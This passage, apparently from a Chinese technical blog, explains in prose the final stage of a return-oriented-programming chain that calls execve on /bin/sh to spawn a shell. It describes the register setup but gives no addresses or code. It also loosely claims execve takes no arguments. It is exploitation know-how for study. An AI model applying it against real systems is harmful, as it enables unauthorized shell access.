我们的ROP的第一步是将rax寄存器设置为execve系统调用的编号(0x3b)。接下来,我们将/bin/sh字符串的地址传递给rdi寄存器。然后,我们将rsi和rdx寄存器都设置为0,因为execve系统调用不需要任何参数。最后,我们使用syscall gadget来执行系统调用。 请注意,我们需要在内存中准备/bin/sh字符串,因为execve系统调用需要它。在这个例子中,我们将/bin/sh字符串存储在名为bin_sh的标签中。在实际攻击中,这个字符串可以存储在任何我们可以访问的内存区域中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值